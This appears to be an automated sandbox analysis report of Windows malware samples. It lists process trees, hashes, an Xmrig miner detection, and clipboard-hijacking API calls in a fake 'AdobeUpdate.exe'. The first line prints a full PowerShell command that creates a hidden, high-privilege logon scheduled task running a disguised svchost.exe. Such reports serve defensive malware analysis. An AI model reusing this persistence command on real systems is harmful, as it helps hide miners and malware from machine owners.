Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	14:46:05
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	14:46:05
Start date:	26/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003C.00000002.2918345092.00000273AB26A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 064309C8 Relevance: .8, Instructions: 762COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f92da47a629672c7b2c2a3ef9d0d9bf66f8eebcf448d6cbd302e2300911d2e
Instruction ID: 3b37894823ddb7366c2a2592c646afed5921ba3895110a99c318d3b1519b8643
Opcode Fuzzy Hash: 09f92da47a629672c7b2c2a3ef9d0d9bf66f8eebcf448d6cbd302e2300911d2e
Instruction Fuzzy Hash: A952A330E041658BDF55CBA8C8906FDFBB2AF8D315F28856AD466EB345C7349C86CB90

Function 0244AC5A Relevance: 1.6, APIs: 1, Instructions: 82
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?), ref: 0244ACE8

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 5175ec26edf553011c05ca7172493750c956b31dd7ec76cad13efa79fa28df7d
Instruction ID: cb844acd0d4a5310fe57f41f5aedbe890851abff94e726f7e6e7c68bcabf3d83
Opcode Fuzzy Hash: 5175ec26edf553011c05ca7172493750c956b31dd7ec76cad13efa79fa28df7d
Instruction Fuzzy Hash: B33137A550E3C05FEB138B359C64652BFB49F47214B0E84DBD884CF2A3D6689908D772

Function 0244A840 Relevance: 1.6, APIs: 1, Instructions: 75
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E4C,A5383B35,00000000,00000000,00000000,00000000), ref: 0244A8D1

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 0552df757f463281f06ccf4ac864863b7873e3f0ea022d5fd95a5523daf06a03
Instruction ID: 8f9067c86a07928f819d40f4fdc5eece2567115cdb395cf7d155d3e34d01d4f1
Opcode Fuzzy Hash: 0552df757f463281f06ccf4ac864863b7873e3f0ea022d5fd95a5523daf06a03
Instruction Fuzzy Hash: 0721A175509380AFE7228F61DC44FA6BFB8EF46314F0984DBE9848B653C265A509CB72

Function 0244A4F7 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0244A573

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 8941a4c10bf7c06310917594757326eb427ed630aef78628057d0baa293c02bd
Instruction ID: 8f44eb4abf21e50d5e5f6a7f049b2134d3a95d90390cf039ffd615f26842b9e5
Opcode Fuzzy Hash: 8941a4c10bf7c06310917594757326eb427ed630aef78628057d0baa293c02bd
Instruction Fuzzy Hash: 7A21A1B15053809FE752CB25DD94B52BFB8EF46210F0984EBE844CF252D234D909CB61

Function 0244AB14 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 0244AB70

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: a5e2ed26825f3e62b9ce18227a30af3d41b116b81a687a1916907c03b4b3fe5b
Instruction ID: 27a87d6bf23dbdb5a50b3d5473f87f85565113975e749a8911c97de60c9024a3
Opcode Fuzzy Hash: a5e2ed26825f3e62b9ce18227a30af3d41b116b81a687a1916907c03b4b3fe5b
Instruction Fuzzy Hash: 7B1160756093809FD752CF25DC94B52BFB8DF46220F0884EBED45CB652D264E908CB62

Function 0244A872 Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E4C,A5383B35,00000000,00000000,00000000,00000000), ref: 0244A8D1

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4b01f212514726e07ff33caeb7f763d7e44cf95171a6d0f55b5f089f708eff08
Instruction ID: 6a1afdf6d75a10e85623eeeff822a37b397271ea380c1c2187d0b92868c0a256
Opcode Fuzzy Hash: 4b01f212514726e07ff33caeb7f763d7e44cf95171a6d0f55b5f089f708eff08
Instruction Fuzzy Hash: 3C11C176500200AFEB21CF51DC44FAAFBA8EF54324F08885BE9459BA52D774E549CBB1

Function 0244A52E Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0244A573

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d07af2b9183303ed6bc210dbbf82d751981a3ae4ab0e878818dbbee0a9a63355
Instruction ID: c05460df6aab7f61bd40066ccc0eb602f168b4c53871e646b26958f13d9a551d
Opcode Fuzzy Hash: d07af2b9183303ed6bc210dbbf82d751981a3ae4ab0e878818dbbee0a9a63355
Instruction Fuzzy Hash: FA115E75A402408FEB50CF19D984B66FBE8EF54220F08C4ABDD49CB745D774E448CB61

Function 0244A3B8 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(?), ref: 0244A40C

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 06c00a8c74a4f34639e3476bc4f461b9813b2bfc75e7a123a4751b436c4fdb2e
Instruction ID: 6bb80016c89d7a7f2174cab1e4bcb8914905c7b99340e011f4b9ca429ce66398
Opcode Fuzzy Hash: 06c00a8c74a4f34639e3476bc4f461b9813b2bfc75e7a123a4751b436c4fdb2e
Instruction Fuzzy Hash: F21161755093C4AFD7528F15DC58B62FFB4DF46624F0880DBED858B252D275A808CB72

Function 0244ACAE Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?), ref: 0244ACE8

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2c259570836c7f2967f6cc4ec9da82ee3f28969b57168929295f0e6cd8ae4e6e
Instruction ID: c12605cd57ed67814ede0edcabe3188537985398d372a7ed65c76eeb563e3d18
Opcode Fuzzy Hash: 2c259570836c7f2967f6cc4ec9da82ee3f28969b57168929295f0e6cd8ae4e6e
Instruction Fuzzy Hash: A1019EB2A402408FEB50CF26D885766FBE8EF44225F08C4ABDD09CB742DB74E544CBA1

Function 0244AB36 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 0244AB70

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 1382485a91f230d491dad82b711cf5eeece45b94878cfd9c729534a10a9c7117
Instruction ID: 4644ca1000bb7639706c11a3eb308842bc57b373c5d303ed029c797ff1e7a592
Opcode Fuzzy Hash: 1382485a91f230d491dad82b711cf5eeece45b94878cfd9c729534a10a9c7117
Instruction Fuzzy Hash: 18019275A002408FEB50CF25D884766FBE4DF45220F08C4ABDE09CB742D774E548CB62

Function 0244A3DA Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(?), ref: 0244A40C

Memory Dump Source

Source File: 00000000.00000002.1993039356.000000000244A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0244A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_244a000_Aurora.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f13f921edb921a567b66154b618d1e7f71587d203f894922de46c9924f8ed4ce
Instruction ID: 00b8f018747e36eefaeb26924dd9a1982077bd9e9ab2e06c89934d24ce6d083b
Opcode Fuzzy Hash: f13f921edb921a567b66154b618d1e7f71587d203f894922de46c9924f8ed4ce
Instruction Fuzzy Hash: D9F0AF759042508FEB60CF05D888766FBA0EF55225F4CC0ABDD094B752D7B9E449CBA2

Function 06430070 Relevance: .2, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c59867f1c90fd244f9eb604eae63761b556ac47576a0463ac20a64dac2fe7814
Instruction ID: 7e9515548dcaf4f5ffe513a8ab63370abc6fab7ec4feae3b92825dfbad42d141
Opcode Fuzzy Hash: c59867f1c90fd244f9eb604eae63761b556ac47576a0463ac20a64dac2fe7814
Instruction Fuzzy Hash: BE510231F002258FCB55AB7884557AEBBF2AF89604F14826AD806DB784CF31CC06CBA1

Function 06430006 Relevance: .1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ad6a5a7d723d0b1a42e53bf8d1f3224bba97a449e03ac25029a725836e87e2
Instruction ID: eeb5da1c1c9355114ea2471febbcdc5692351ef229090d5f05e56efeec5b7da5
Opcode Fuzzy Hash: e7ad6a5a7d723d0b1a42e53bf8d1f3224bba97a449e03ac25029a725836e87e2
Instruction Fuzzy Hash: 1341D53460A3D04FC7039B749D606AABFF1AF57254B1942D7D485CF293CA249C0AC771

Function 064309B8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a843415b61715c1ef5eaa3c7df6afbe80def0e86e1c27750ffe260cf12a5d82
Instruction ID: fd21e933d32ab3df424e634491728a50df0465b6dfaf82a96d34d672d19b3fe4
Opcode Fuzzy Hash: 7a843415b61715c1ef5eaa3c7df6afbe80def0e86e1c27750ffe260cf12a5d82
Instruction Fuzzy Hash: A131F731E002288FDB16DBA9D8813EFBBB2EF89350F24422BE455AB395C6315C01CB91

Function 06430847 Relevance: .1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ecbb5bf4a3904b74cdc0f71fc62eac5acf4e7df34df41546134cb636a31c4ad
Instruction ID: 417aa79e0c20b6bbe91ce9c58f30eec8d83799087c45a8b3846e18ec3550fff7
Opcode Fuzzy Hash: 2ecbb5bf4a3904b74cdc0f71fc62eac5acf4e7df34df41546134cb636a31c4ad
Instruction Fuzzy Hash: 7D21AE31A00229CFEB65AB6584597BE7BF6AF8CA10F14022AD406E7780DB358C06CB91

Function 064306A0 Relevance: .1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6bb6d5733bee7c8f8442b27a9b47bbe089f1d804d96ac5af8119f6497dd084
Instruction ID: b95fe55ccca2bc50f4dec96f92d82e7dc66a8336ff5b8b52b8f81d3220ba095e
Opcode Fuzzy Hash: 6e6bb6d5733bee7c8f8442b27a9b47bbe089f1d804d96ac5af8119f6497dd084
Instruction Fuzzy Hash: 8E314E35F012189FCB48EBA8E454ADEBBF2AF88614F10816AE406E7750DF319C45CF90

Function 06430140 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d25157b7c3f1a5f5e58206cce5854d76493a4c2f1818abbb36aed5c85bc7bbf2
Instruction ID: 2126fceb142ab2d95d4aa4b406317179472c16078d9d11d88f03e0f479f96171
Opcode Fuzzy Hash: d25157b7c3f1a5f5e58206cce5854d76493a4c2f1818abbb36aed5c85bc7bbf2
Instruction Fuzzy Hash: 6421B131F002698BDFA6AA7480597BE7EF29B8C614F15426AC805E7744DF318C46CB91

Function 06431228 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59cdd376708f93040b16e5993f694a3f06e2a5f398428a5530fa47ef319534be
Instruction ID: 5c396549157af6af8b20da5f8d1500d2a5ce05fc1d145fcf0954a1158fbfae89
Opcode Fuzzy Hash: 59cdd376708f93040b16e5993f694a3f06e2a5f398428a5530fa47ef319534be
Instruction Fuzzy Hash: 6311C3397112618B9B6B96316560BFF36939FCE558314822ED902CB784EF38DD0AC391

Function 0643046F Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97017c7ef88a4e6954d3537c63c85de6e7dc916b3c6d11ea2b44cf2560ba3c5b
Instruction ID: c1cb8d70708290ba6455f6468b08b31a0c6c72d924ad0da35ea5281df0c10848
Opcode Fuzzy Hash: 97017c7ef88a4e6954d3537c63c85de6e7dc916b3c6d11ea2b44cf2560ba3c5b
Instruction Fuzzy Hash: 1531E635E00618DFDB49CF98D484A9EBBB2BF48314F21856AE815AB354DB31ED46CF80

Function 041A05DF Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1994256787.00000000041A0000.00000040.00000020.00020000.00000000.sdmp, Offset: 041A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_41a0000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b91e92e9b9e45471df321b6467be4f812987dcbd00e6a907cfea7139b562b8
Instruction ID: cd930bedfdfa0ba9f4860c8334ab611a890211f1729227cf55f10ac4b11e8bd7
Opcode Fuzzy Hash: f3b91e92e9b9e45471df321b6467be4f812987dcbd00e6a907cfea7139b562b8
Instruction Fuzzy Hash: D301DBB55093846FD7128F15AC40862FFA8EED6220709C0AFEC4987612D225B409C7B2

Function 0643068F Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff8aefe00367dd2c5aa0805e7ad5dbc24edf3db858353d7c67fadcfe85550230
Instruction ID: 327e8d38a147ebc1c1aef2259c519fd8196f4ff5272733623c8077f4e3d00048
Opcode Fuzzy Hash: ff8aefe00367dd2c5aa0805e7ad5dbc24edf3db858353d7c67fadcfe85550230
Instruction Fuzzy Hash: 5401A235E011189FCB598B78A9566EEBFB5EB8C260B10827AE805E3300DA315C178BE0

Function 064307CD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065658595.0000000006430000.00000040.00000800.00020000.00000000.sdmp, Offset: 06430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6430000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 138de89c5fc4aa0c909fa8f7ef5be306527f7f078172c56db56fbe686cf5605e
Instruction ID: 5465cca4c993024d2e9f1bc24b09c13adf29cad2010e3ee9c41d740624bdbe79
Opcode Fuzzy Hash: 138de89c5fc4aa0c909fa8f7ef5be306527f7f078172c56db56fbe686cf5605e
Instruction Fuzzy Hash: ACF04F39F00224CB8F49DB74E4559EDB7B2AF8D664B10816AC802A3780DF35AC06CFA1

Function 041A0606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1994256787.00000000041A0000.00000040.00000020.00020000.00000000.sdmp, Offset: 041A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_41a0000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a25a110ee25235659031e3097627cba8aafc2bf66b0291e1268d5e847ee1b872
Instruction ID: 5ca8fc8aa8055bd91074db16a3a1a4cd1cb788318119c6c319c3ee0a9ca2d55b
Opcode Fuzzy Hash: a25a110ee25235659031e3097627cba8aafc2bf66b0291e1268d5e847ee1b872
Instruction Fuzzy Hash: 12E092B66006444B9650CF0AFC41452F7D4EBC4630718C07FDC0D8B701E275B508CAA6

Function 024423BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1993003159.0000000002442000.00000040.00000800.00020000.00000000.sdmp, Offset: 02442000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2442000_Aurora.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560e034b87df9cf103a12e1573f2a85b684151d13fdbcec00c76c05cebeef952
Instruction ID: 38889486bb6d705709cc7d40d0af74862ba40a866e49255058b753416c06c51e
Opcode Fuzzy Hash: 560e034b87df9cf103a12e1573f2a85b684151d13fdbcec00c76c05cebeef952
Instruction Fuzzy Hash: DAD05E342005814BE715CA1CC6E4F5A37E4AB40B0DF0644E9BC108B762C7F8D8C8DA00

Analysis Process: AdobeUpdate.exePID: 3064, Parent PID: 6256COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	1225
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6C12AB900 Relevance: 65.6, APIs: 25, Strings: 12, Instructions: 814
clipboardregistrysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 00007FF6C12AB977
_dupenv_s.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 00007FF6C12AB9A4

Part of subcall function 00007FF6C12A1D68: memmove.VCRUNTIME140(?,?,?,00007FF6C12AB0E5), ref: 00007FF6C12A1DAF

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12ABA3D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6C12ABA4E
GetModuleFileNameA.KERNEL32 ref: 00007FF6C12ABB0E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC24F
RegCreateKeyA.ADVAPI32 ref: 00007FF6C12AC2E2
RegSetValueExA.ADVAPI32 ref: 00007FF6C12AC3B4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC43C
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC46F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC4A8
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6C12AC4C1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC50B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC584
CreateMutexA.KERNEL32 ref: 00007FF6C12AC5EA
Sleep.KERNEL32 ref: 00007FF6C12AC5F5
GetClipboardSequenceNumber.USER32 ref: 00007FF6C12AC5FB
OpenClipboard.USER32 ref: 00007FF6C12AC60B
memmove.VCRUNTIME140 ref: 00007FF6C12AC732
GlobalAlloc.KERNEL32 ref: 00007FF6C12AC7B3
memmove.VCRUNTIME140 ref: 00007FF6C12AC7E5
EmptyClipboard.USER32 ref: 00007FF6C12AC7EA
SetClipboardData.USER32 ref: 00007FF6C12AC7F6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC87E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AC885

Strings

?fd, xrefs: 00007FF6C12ABC0D
9./5, xrefs: 00007FF6C12AC295
Microsoft Edge, xrefs: 00007FF6C12AC396
" ", xrefs: 00007FF6C12ABCA3
" && , xrefs: 00007FF6C12ABD0D, 00007FF6C12ABDCA, 00007FF6C12ABF85
&& exit ", xrefs: 00007FF6C12AC075
92(, xrefs: 00007FF6C12AC28B
7*0&, xrefs: 00007FF6C12AC5BE
@3%, xrefs: 00007FF6C12ABA56
localappdata, xrefs: 00007FF6C12AB989
F%)6, xrefs: 00007FF6C12ABC00
prr, xrefs: 00007FF6C12AC5C5

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Clipboard$memmove$CreateMutexOpen$??1?$basic_ios@AllocD@std@@@std@@DataEmptyFileGlobalModuleNameNumberSequenceSleepU?$char_traits@Value_dupenv_sfreesystem
String ID: && exit "$" "$" && $7*0&$9./5$92($?fd$@3%$F%)6$Microsoft Edge$localappdata$prr
API String ID: 1980490673-2619721367
Opcode ID: 0f8cdfebe0a83a0680be914d843486d997c6423b7a8fdb805b3714d5dd2bff2f
Instruction ID: c54c3ea40ac8b973875eba14b992a2da5ca68fba215832cf832eecba8e221e06
Opcode Fuzzy Hash: 0f8cdfebe0a83a0680be914d843486d997c6423b7a8fdb805b3714d5dd2bff2f
Instruction Fuzzy Hash: C7927E66A08BC289EB31CF38D9453ED6361FB45799F504235DB9D8AA9ADF7CD284C300

Function 00007FF6C12AD160 Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6C12AD16F
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6C12AD184
__scrt_release_startup_lock.LIBCMT ref: 00007FF6C12AD1F2
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AD240
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6C12AD245
_get_wide_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AD24D
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AD276
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AD2CB

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock_cexit_exit_get_wide_winmain_command_line_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1020558986-0
